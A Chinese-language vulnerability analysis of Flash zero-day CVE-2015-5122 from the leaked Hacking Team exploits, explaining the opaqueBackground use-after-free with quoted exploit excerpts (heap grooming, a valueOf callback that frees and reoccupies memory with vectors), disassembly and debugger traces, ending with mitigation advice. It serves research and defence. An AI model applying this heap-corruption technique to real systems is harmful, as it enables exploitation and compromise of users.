0344-Hacking Team攻击代码分析Part 4- Flash 0day漏洞 CVE-2015-5122.md
5.96 KB / 2021-07-17 00:01:36
# Hacking Team攻击代码分析Part 4: Flash 0day漏洞 CVE-2015-5122
0x00 前言
=======
* * *
前几天我们分析了Hacking Team泄露数据中的3个exploit，包括一个flash 0day，一个flash nday和一个windows字体提权0day。昨天Adobe在发布了最新的flash版本（18.0.0.203），修补了其中的flash 0day（CVE-2015-5119）。然而今天twitter上面又有研究者爆猛料，称Hacking Team泄露数据中还有一个未修补的flash 0day，在最新的flash版本中仍然可以触发。Adobe随后也发布了对应的安全公告APSA15-04，漏洞的CVE编号为：CVE-2015-5122。影响Windows、MacOSX和Linux平台上的IE、Chrome浏览器等主流浏览器。
我们经过分析，确认这确实又是一个新的flash 0day，漏洞成因是DisplayObject在设置opaqueBackground属性时，没有正确处理可能发生的回调（又是valueOf，是在下输了），而产生的Use After Free漏洞。本文将分析这个漏洞的成因和利用方式。
0x01 漏洞原理分析
===========
* * *
出问题的函数是DisplayObject对象的opaqueBackground属性设置函数：
我们来看一下HackingTeam泄露的exploit代码，关键部分如下：
```
1 for(i=_arLen1; i < _arLen2; i++)
2 _ar[i] = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object)
3 for(i=_arLen1; i < _arLen2; i++)
4 _ar[i].opaqueBackground = 1; // alloc 1016 bytes
```
在这个过程中会每个TextLine Object内部会分配0x390大小的对象，对象分配的代码在：
```
1 .text:1025DC71 push 1
2 .text:1025DC73 push eax
3 .text:1025DC74 push 390h
4 .text:1025DC79 call operator_new2
```
调试过程中分配的0x390内部对象地址：
```
Allocate 0x390 object:04cbc810
Allocate 0x390 object:0513c810
Allocate 0x390 object:0513cc08
Allocate 0x390 object:05d94020
Allocate 0x390 object:05d94418
Allocate 0x390 object:05d94810
Allocate 0x390 object:05d94c08
Allocate 0x390 object:05d95020
Allocate 0x390 object:05d95418
Allocate 0x390 object:05d95810
Allocate 0x390 object:05d95c08
Allocate 0x390 object:05d96020
Allocate 0x390 object:05d96418
Allocate 0x390 object:05d96810
Allocate 0x390 object:05d96c08
Allocate 0x390 object:05d97020
Allocate 0x390 object:05d97418
```
2 设置opaqueBackground，触发valueOf函数调用：
```
1 MyClass.prototype.valueOf = valueOf2;
2
3 // here we go, call the vulnerable setter
4 _cnt = _arLen2-6;
5 _ar[_cnt].opaqueBackground = _mc;
```
和之前两个漏洞一样，exploit定义了自己的类，设置valueOf函数，然后在opaqueBackground的设置函数中，我们可以看到有一个将传入的参数转换为integer的过程，这个调用触发了MyClass的valueOf函数：
```
.text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj
.text:1025DD4C push ebx
.text:1025DD4D push [esp+10h+param]
.text:1025DD51 call ?integer@AvmCore@avmplus@@SAHH@Z ; avmplus::AvmCore::integer(int)
```
3 在valueOf函数中，释放TextLine Object，并使用vector占位
```
01 static function valueOf2()
02 {
03 try
04 {
05 if (++_cnt < _arLen2) {
06 // recursive call for next TextLine
07 _ar[_cnt].opaqueBackground = _mc;
08 }else{
09 Log("MyClass.valueOf2()");
10
11 // free internal objects
12 for(var i:int=1; i <= 5; i++)
13 _tb.recreateTextLine(_ar[_arLen2-i]);
14
15 // reuse freed memory
16 for(i=_arLen2; i < _arLen; i++)
17 _ar[i].length = _vLen;
18 }
19 }
20 catch (e:Error)
21 {
22 Log("valueOf2 " + e.toString());
23 }
24 return _vLen+8;
25 }
```
我们可以看到valueOf函数通过调用recreateTextLine释放了原来的TextLine对象（因此0x390大小的内部对象也将被释放）。然后使用0x190大小的vector对象试图占用已经释放的0x390大小对象的内存。这里之所以选用0x190大小的vector，是因为之后代码会对已经释放的0x390内部对象进行一个写操作，这个写操作的偏移是0x320，正好是0x190的两倍，这样写的时候可以直接写到vector的长度字段。这里用了一个技巧：用不同大小的对象去占位时，必须以页为单位释放原对象的内存，才有可能成功（也就是说这里必须连续释放多个0x390大小的内部对象，造成至少一个page（0x1000）内存被释放，然后才能用0x190的vector去占它）。
4 从valueOf返回，已经释放的0x390内部对象被写入
```
eax=00000000 ebx=0000006a ecx=05d92708 edx=00000006 esi=05d97020 edi=0515dd78
eip=631bdd7e esp=0300bfec ebp=05d92708 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
631bdd7e 889e20030000 mov byte ptr [esi+320h],bl ds:0023:05d97340=62
0:006> dd esi
05d97020 00000062
04cb3000 00000037 00000000
```
Esi指向已经被释放的0x390大小对象（0x5d97020），可以参考前面分配时记录的对象地址，很容易看出这是其中一个0x390对象。写入的是esi+0x320处，可以看到已经被vector占用，并且指向某个vector的长度字段（0x62）。 写操作完成后，vector长度被篡改为0x6a:
```
0:006> p
0:006> dd esi+320 L4
05d97340 0000006a 04cb3000 00000039 00000000
```
之后exploit再利用这个稍微变长了一点点的vector，修改紧邻的下一个vector的长度为0x40000000：
```
0:006> dd 5D974D0L4
05d974d0 40000000 04fc3000 0000003a 00000000
```
0x02 漏洞防范
=========
* * *
由于该漏洞利用非常稳定，而Adobe暂时没有发布该漏洞的补丁，我们建议补丁发布之前，可以暂时先禁用flash插件。